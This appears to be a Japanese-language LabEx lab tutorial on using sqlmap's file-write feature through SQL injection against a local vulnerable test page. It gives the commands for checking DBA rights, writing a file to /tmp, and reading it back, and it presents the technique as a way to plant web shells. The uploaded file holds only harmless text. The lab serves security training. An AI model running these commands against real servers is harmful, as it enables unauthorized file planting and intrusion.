sqlmap でローカルファイルをサーバーに書き込む

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験 (Lab) では、sqlmap の強力な機能である、ローカルファイルをリモートサーバーに書き込む能力を探求します。この機能は、ペネトレーションテストのシナリオにおいて非常に重要であり、侵害されたサーバーに Web シェル、設定ファイル、その他の悪意のあるペイロードをアップロードすることを可能にします。本実験では、DBA 権限の確認や書き込み可能なディレクトリの特定といった必要な前提条件を確認し、ローカルでファイルを作成し、sqlmap を使用してそれをアップロードし、最終的にサーバー上での存在を確認するプロセスを順を追って説明します。

DBA 権限とディレクトリ書き込み権限の確認

このステップでは、sqlmap を使用して、現在のデータベースユーザーが DBA (Database Administrator) 権限を持っているか、およびサーバー上の書き込み可能なディレクトリを特定します。DBA 権限を持っていることは、ファイルを書き込むための前提条件であることが多く、書き込み可能なディレクトリを知ることは、アップロードするファイルの宛先を選択するために不可欠です。

まず、DBA 権限を確認しましょう。これは、sqlmap がファイルシステム操作を実行するためには高い権限を必要とすることが多いため、非常に重要です。

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --is-dba

ユーザーが DBA であるかどうかを示す出力が表示されるはずです。[INFO] the back-end DBMS user is a DBA のような行を探してください。

次に、サーバー上の書き込み可能なディレクトリを見つける必要があります。sqlmap は、一般的な書き込み可能なパスを特定しようとすることで、これに役立ちます。ここでは、ダミーファイルと /tmp のような一般的な書き込み可能なディレクトリを使用して、--file-write オプションをテストします。まだ実際にファイルを書き込んでいるわけではありませんが、このコマンドは書き込み能力を確認するのに役立ちます。

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write=/dev/null --file-dest=/tmp/test_write.txt --batch

--batch フラグは、sqlmap に質問に対するデフォルトの回答を使用するように指示します。これは自動化に役立ちます。権限に関連するエラーなしでコマンドが実行された場合、/tmp が書き込み可能であることを示唆しています。

--is-dba の期待される出力:

...
[INFO] checking if the back-end DBMS user is a DBA
[INFO] the back-end DBMS user is a DBA
...

書き込み権限のテストの期待される出力 (表示は異なる場合がありますが、成功メッセージまたは権限エラーがないことを確認してください):

...
[INFO] the file '/tmp/test_write.txt' has been successfully written on the back-end DBMS file system
...

アップロードするローカルファイルの作成 (例:upload.txt)

このステップでは、ターゲットサーバーにアップロードする予定の簡単なテキストファイルをローカルマシン (LabEx 環境) 上に作成します。このファイルには任意のコンテンツを含めることができますが、この実験では、プロセスを実証するために基本的なテキストファイルを作成します。

この実験環境のデフォルトの作業ディレクトリである、ホームディレクトリの project フォルダに移動します。

cd ~/project

次に、echo コマンドとリダイレクションを使用して、upload.txt という名前のファイルにいくつかのコンテンツを作成します。

echo "This file was uploaded from the LabEx environment!" > upload.txt

cat を使用してファイルのコンテンツを確認できます。

cat upload.txt

期待される出力:

This file was uploaded from the LabEx environment!

アップロード元とアップロード先を指定するための --file-write および --file-dest の使用

このステップでは、ファイル書き込みに使用される sqlmap のオプションである --file-write および --file-dest について学びます。

  • --file-write: このオプションは、アップロードしたいファイルのローカルパスを指定します。sqlmap はこのファイルのコンテンツを読み取ります。
  • --file-dest: このオプションは、sqlmap がファイルを書き込むべきリモートサーバー上の絶対パスを指定します。データベースユーザーが書き込み権限を持つディレクトリへのパスを提供することが重要です。前のステップに基づくと、/tmp/ が良い候補です。

これらのオプションを使用して sqlmap コマンドを準備しますが、次のステップまで実行しません。これにより、まずコマンド構造を理解することができます。

コマンドは以下のようになります。

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch

コマンドを分解しましょう。

  • -u "http://localhost/vulnerable/index.php?id=1": SQL インジェクションの脆弱性があるターゲット URL。
  • --file-write="/home/labex/project/upload.txt": 前のステップで作成したローカルファイルへのフルパス。~/project/home/labex/project に展開されることを覚えておいてください。
  • --file-dest="/tmp/uploaded_file.txt": リモートサーバーにファイルが書き込まれるフルパス。ここでは /tmp/ を宛先ディレクトリとして使用し、アップロードされるファイル名を uploaded_file.txt としています。
  • --batch: プロセスを自動化し、デフォルトの選択を受け入れるため。

コマンドを確認し、パスが正しいことを確認する時間を取ってください。

書き込み可能なディレクトリにファイルをアップロードするためのコマンド実行

このステップでは、前のステップで準備した sqlmap コマンドを実行して、ローカルマシンからターゲットサーバーの /tmp/ ディレクトリに upload.txt をアップロードし、uploaded_file.txt という名前を付けます。

sqlmap コマンドを実行します。

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch

sqlmap はファイル書き込みを試みます。ファイルアップロードのためにさまざまなテクニックを試みる sqlmap の進捗状況を確認してください。成功した場合、sqlmap はファイルが書き込まれたことを報告します。

期待される出力 (成功メッセージを探してください):

...
[INFO] the file '/tmp/uploaded_file.txt' has been successfully written on the back-end DBMS file system
...

このメッセージは、sqlmap がサーバー上の指定された宛先にファイルを正常に書き込んだと認識していることを確認します。

--file-read コマンドを使用したアップロードの成功確認

この最終ステップでは、ファイルが実際にサーバーにアップロードされ、その内容が正しいことを確認します。これは、リモートサーバーからファイルを読み取ることができる sqlmap--file-read オプションを使用して行うことができます。

サーバーにアップロードしたファイルへのパスを指定して、--file-read オプションを使用します。

sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-read="/tmp/uploaded_file.txt" --batch

sqlmap はファイルを読み取り、その内容をターミナルに表示しようとします。

期待される出力:

...
[INFO] retrieved file content:
This file was uploaded from the LabEx environment!
...

「This file was uploaded from the LabEx environment!」という内容が表示された場合、ファイルは正常にアップロードされ、サーバーから読み取ることができることを意味します。これにより、sqlmap を使用してローカルファイルをサーバーに書き込むプロセス全体が確認されます。

まとめ

この実験では、sqlmap のファイル書き込み機能の活用方法を学びました。まず、ターゲットサーバー上の DBA 権限を確認し、書き込み可能なディレクトリを特定しました。次に、ローカルファイルを作成し、--file-write および --file-dest オプションを指定した sqlmap を使用してサーバーにアップロードしました。最後に、--file-read オプションを使用してサーバーからファイルのコンテンツを読み取ることで、アップロードの成功を確認しました。このスキルは、ペネトレーションテストにおけるさまざまなポストエクスプロイテーション活動の基本となります。